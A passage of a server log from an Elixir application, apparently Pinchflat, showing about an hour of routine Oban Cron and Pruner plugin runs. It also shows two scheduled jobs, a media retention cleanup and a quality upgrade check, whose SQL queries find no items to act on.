{"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:56:25.192 [info] {"source":"oban","duration":1671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:56:55.196 [info] {"source":"oban","duration":1018,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:57:00.724 [info] {"source":"oban","duration":3778,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:57:25.197 [info] {"source":"oban","duration":990,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:57:55.203 [info] {"source":"oban","duration":4973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:58:00.725 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:58:25.205 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:58:55.208 [info] {"source":"oban","duration":2129,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:59:00.726 [info] {"source":"oban","duration":263,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:59:25.214 [info] {"source":"oban","duration":4712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:59:55.217 [info] {"source":"oban","duration":2324,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:00:00.855 [info] {"source":"oban","duration":127730,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[2216]} 04:00:00.986 [info] {"args":{},"id":2216,"meta":{"cron":true,"cron_expr":"0 1 * * *","cron_tz":"Etc/UTC"},"system_time":1765242000981821844,"max_attempts":20,"queue":"local_data","worker":"Pinchflat.Downloading.MediaRetentionWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","local_data"]} 04:00:01.456 [debug] QUERY OK source="media_items" db=462.7ms queue=0.4ms idle=737.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" WHERE ((NOT (m0."media_filepath" IS NULL) AND IFNULL(retention_period_days, 0) > 0 AND DATETIME(media_downloaded_at, '+' || retention_period_days || ' day') < DATETIME('now') ) AND NOT (m0."prevent_culling" = 1)) [] 04:00:01.460 [info] Culling 0 media items past their retention date 04:00:01.474 [debug] QUERY OK source="media_items" db=5.4ms decode=1.6ms queue=4.8ms idle=1207.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" WHERE ((NOT (m0."media_filepath" IS NULL) AND NOT ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND NOT (m0."prevent_culling" = 1)) [] 04:00:01.474 [info] Deleting 0 media items that are from before the source cutoff 04:00:01.533 [info] {"args":{},"id":2216,"meta":{"cron":true,"cron_expr":"0 1 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"local_data","worker":"Pinchflat.Downloading.MediaRetentionWorker","source":"oban","duration":493768,"event":"job:stop","attempt":1,"queue_time":789325,"tags":["media_item","local_data"]} 04:00:25.277 [info] {"source":"oban","duration":58691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:00:55.278 [info] {"source":"oban","duration":1045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:01:00.856 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:01:25.281 [info] {"source":"oban","duration":2303,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:01:55.283 [info] {"source":"oban","duration":870,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:02:00.857 [info] {"source":"oban","duration":299,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:02:25.291 [info] {"source":"oban","duration":7317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:02:55.293 [info] {"source":"oban","duration":906,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:03:00.858 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:03:25.301 [info] {"source":"oban","duration":6845,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:03:55.309 [info] {"source":"oban","duration":7371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:04:00.861 [info] {"source":"oban","duration":1517,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:04:25.311 [info] {"source":"oban","duration":936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:04:55.313 [info] {"source":"oban","duration":921,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:05:00.861 [info] {"source":"oban","duration":471,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:05:25.336 [info] {"source":"oban","duration":21895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:05:55.351 [info] {"source":"oban","duration":6735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:06:00.862 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:06:25.355 [info] {"source":"oban","duration":3136,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:06:55.359 [info] {"source":"oban","duration":3107,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:07:00.863 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:07:25.380 [info] {"source":"oban","duration":19286,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:07:55.385 [info] {"source":"oban","duration":3005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:08:00.864 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:08:25.391 [info] {"source":"oban","duration":5386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:08:55.400 [info] {"source":"oban","duration":7706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:09:00.865 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:09:25.409 [info] {"source":"oban","duration":8596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:09:55.418 [info] {"source":"oban","duration":7300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:10:00.866 [info] {"source":"oban","duration":222,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:10:25.428 [info] {"source":"oban","duration":6800,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:10:55.433 [info] {"source":"oban","duration":3812,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:11:00.880 [info] {"source":"oban","duration":12817,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:11:25.436 [info] {"source":"oban","duration":1246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:11:55.443 [info] {"source":"oban","duration":5902,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:12:00.890 [info] {"source":"oban","duration":860,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:12:25.446 [info] {"source":"oban","duration":1899,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:12:55.455 [info] {"source":"oban","duration":7805,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:13:00.891 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:13:25.457 [info] {"source":"oban","duration":991,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:13:55.459 [info] {"source":"oban","duration":1589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:14:00.892 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:14:25.468 [info] {"source":"oban","duration":8059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:14:55.472 [info] {"source":"oban","duration":2685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:15:00.894 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:15:25.479 [info] {"source":"oban","duration":5821,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:15:55.487 [info] {"source":"oban","duration":6715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:16:00.895 [info] {"source":"oban","duration":300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:16:25.502 [info] {"source":"oban","duration":13680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:16:55.504 [info] {"source":"oban","duration":1195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:17:00.896 [info] {"source":"oban","duration":289,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:17:25.520 [info] {"source":"oban","duration":14964,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:17:55.530 [info] {"source":"oban","duration":8576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:18:00.900 [info] {"source":"oban","duration":3416,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:18:25.534 [info] {"source":"oban","duration":3115,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:18:55.536 [info] {"source":"oban","duration":869,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:19:00.902 [info] {"source":"oban","duration":282,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:19:25.552 [info] {"source":"oban","duration":15221,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:19:55.559 [info] {"source":"oban","duration":6432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:20:00.903 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:20:25.561 [info] {"source":"oban","duration":1367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:20:55.563 [info] {"source":"oban","duration":1016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:21:00.907 [info] {"source":"oban","duration":2497,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:21:25.566 [info] {"source":"oban","duration":1717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:21:55.573 [info] {"source":"oban","duration":5683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:22:00.908 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:22:25.576 [info] {"source":"oban","duration":1055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:22:55.585 [info] {"source":"oban","duration":7615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:23:00.909 [info] {"source":"oban","duration":284,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:23:25.589 [info] {"source":"oban","duration":3765,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:23:55.593 [info] {"source":"oban","duration":3032,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:24:00.913 [info] {"source":"oban","duration":2910,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:24:25.595 [info] {"source":"oban","duration":1250,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:24:55.602 [info] {"source":"oban","duration":5667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:25:00.914 [info] {"source":"oban","duration":252,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:25:25.607 [info] {"source":"oban","duration":4601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:25:55.614 [info] {"source":"oban","duration":5879,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:26:00.917 [info] {"source":"oban","duration":1973,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:26:25.616 [info] {"source":"oban","duration":1528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:26:55.620 [info] {"source":"oban","duration":3002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:27:00.920 [info] {"source":"oban","duration":829,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:27:25.627 [info] {"source":"oban","duration":5785,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:27:55.635 [info] {"source":"oban","duration":7030,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:28:00.923 [info] {"source":"oban","duration":1020,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:28:25.637 [info] {"source":"oban","duration":1135,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:28:55.645 [info] {"source":"oban","duration":5932,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:29:00.926 [info] {"source":"oban","duration":1565,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:29:25.651 [info] {"source":"oban","duration":5359,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:29:55.654 [info] {"source":"oban","duration":1549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:30:00.927 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:30:25.656 [info] {"source":"oban","duration":1155,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:30:55.662 [info] {"source":"oban","duration":5002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:31:00.929 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:31:25.670 [info] {"source":"oban","duration":6460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:31:55.672 [info] {"source":"oban","duration":994,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:32:00.931 [info] {"source":"oban","duration":877,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:32:25.679 [info] {"source":"oban","duration":6345,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:32:55.684 [info] {"source":"oban","duration":4458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:33:00.933 [info] {"source":"oban","duration":1170,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:33:25.688 [info] {"source":"oban","duration":2369,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:33:55.698 [info] {"source":"oban","duration":8980,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:34:00.937 [info] {"source":"oban","duration":2701,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:34:25.700 [info] {"source":"oban","duration":1362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:34:55.706 [info] {"source":"oban","duration":5269,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:35:00.939 [info] {"source":"oban","duration":1330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:35:25.713 [info] {"source":"oban","duration":6229,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:35:55.717 [info] {"source":"oban","duration":3255,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:36:00.940 [info] {"source":"oban","duration":310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:36:25.719 [info] {"source":"oban","duration":910,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:36:55.722 [info] {"source":"oban","duration":2322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:37:00.941 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:37:25.724 [info] {"source":"oban","duration":981,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:37:55.726 [info] {"source":"oban","duration":1436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:38:00.942 [info] {"source":"oban","duration":579,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:38:25.729 [info] {"source":"oban","duration":2288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:38:55.731 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:39:00.943 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:39:25.739 [info] {"source":"oban","duration":6216,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:39:55.747 [info] {"source":"oban","duration":5801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:40:00.944 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:40:25.749 [info] {"source":"oban","duration":1494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:40:55.762 [info] {"source":"oban","duration":12546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:41:00.945 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:41:25.773 [info] {"source":"oban","duration":9496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:41:55.780 [info] {"source":"oban","duration":4841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:42:00.946 [info] {"source":"oban","duration":253,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:42:25.787 [info] {"source":"oban","duration":6465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:42:55.789 [info] {"source":"oban","duration":852,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:43:00.947 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:43:25.797 [info] {"source":"oban","duration":7422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:43:55.806 [info] {"source":"oban","duration":8025,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:44:00.948 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:44:25.808 [info] {"source":"oban","duration":1507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:44:55.810 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:45:00.949 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:45:25.813 [info] {"source":"oban","duration":1648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:45:55.815 [info] {"source":"oban","duration":1077,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:46:00.950 [info] {"source":"oban","duration":178,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:46:25.822 [info] {"source":"oban","duration":2226,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:46:55.831 [info] {"source":"oban","duration":5985,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:47:00.951 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:47:25.833 [info] {"source":"oban","duration":1485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:47:55.843 [info] {"source":"oban","duration":9194,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:48:00.952 [info] {"source":"oban","duration":431,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:48:25.846 [info] {"source":"oban","duration":1821,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:48:55.848 [info] {"source":"oban","duration":847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:49:00.953 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:49:25.857 [info] {"source":"oban","duration":8317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:49:55.864 [info] {"source":"oban","duration":6394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:50:00.954 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:50:25.880 [info] {"source":"oban","duration":11555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:50:55.888 [info] {"source":"oban","duration":7354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:51:00.955 [info] {"source":"oban","duration":266,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:51:25.891 [info] {"source":"oban","duration":2220,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:51:55.898 [info] {"source":"oban","duration":5740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:52:00.956 [info] {"source":"oban","duration":295,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:52:25.901 [info] {"source":"oban","duration":1708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:52:55.910 [info] {"source":"oban","duration":8117,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:53:00.957 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:53:25.913 [info] {"source":"oban","duration":1972,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:53:55.922 [info] {"source":"oban","duration":8392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:54:00.959 [info] {"source":"oban","duration":979,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:54:25.924 [info] {"source":"oban","duration":1116,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:54:55.926 [info] {"source":"oban","duration":1135,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:55:00.960 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:55:25.928 [info] {"source":"oban","duration":850,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:55:55.936 [info] {"source":"oban","duration":6816,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:56:00.961 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:56:25.938 [info] {"source":"oban","duration":1510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:56:55.946 [info] {"source":"oban","duration":3171,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:57:00.963 [info] {"source":"oban","duration":1181,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:57:25.955 [info] {"source":"oban","duration":7409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:57:55.958 [info] {"source":"oban","duration":1821,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:58:00.964 [info] {"source":"oban","duration":326,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:58:25.964 [info] {"source":"oban","duration":4652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:58:55.973 [info] {"source":"oban","duration":7523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:59:00.968 [info] {"source":"oban","duration":1515,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:59:25.975 [info] {"source":"oban","duration":1901,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:59:55.980 [info] {"source":"oban","duration":3192,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:00:01.115 [info] {"source":"oban","duration":146107,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[2217]} 05:00:01.186 [info] {"args":{},"id":2217,"meta":{"cron":true,"cron_expr":"0 2 * * *","cron_tz":"Etc/UTC"},"system_time":1765245601185296686,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaQualityUpgradeWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 05:00:02.454 [debug] QUERY OK source="media_items" db=1259.9ms queue=3.6ms idle=1823.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((NOT (m0."media_filepath" IS NULL) AND NOT (m0."prevent_download" = 1)) AND NOT (NOT (m0."media_redownloaded_at" IS NULL))) AND IFNULL(redownload_delay_days, 0) > 0 AND DATE('now', '-' || redownload_delay_days || ' day') > DATE(uploaded_at) AND DATE(media_downloaded_at, '-' || redownload_delay_days || ' day') < DATE(uploaded_at) ) [] 05:00:02.454 [info] Redownloading 0 media items 05:00:02.503 [info] {"args":{},"id":2217,"meta":{"cron":true,"cron_expr":"0 2 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaQualityUpgradeWorker","source":"oban","duration":1269159,"event":"job:stop","attempt":1,"queue_time":1063477,"tags":["media_item","media_fetching","show_in_dashboard"]} 05:00:25.988 [info] {"source":"oban","duration":6995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:00:55.995 [info] {"source":"oban","duration":5746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:01:00.127 [info] {"source":"oban","duration":9648,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:01:25.997 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:01:56.000 [info] {"source":"oban","duration":1938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:02:00.135 [info] {"source":"oban","duration":3173,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:02:26.011 [info] {"source":"oban","duration":9946,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:02:56.013 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:03:00.139 [info] {"source":"oban","duration":1583,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:03:26.017 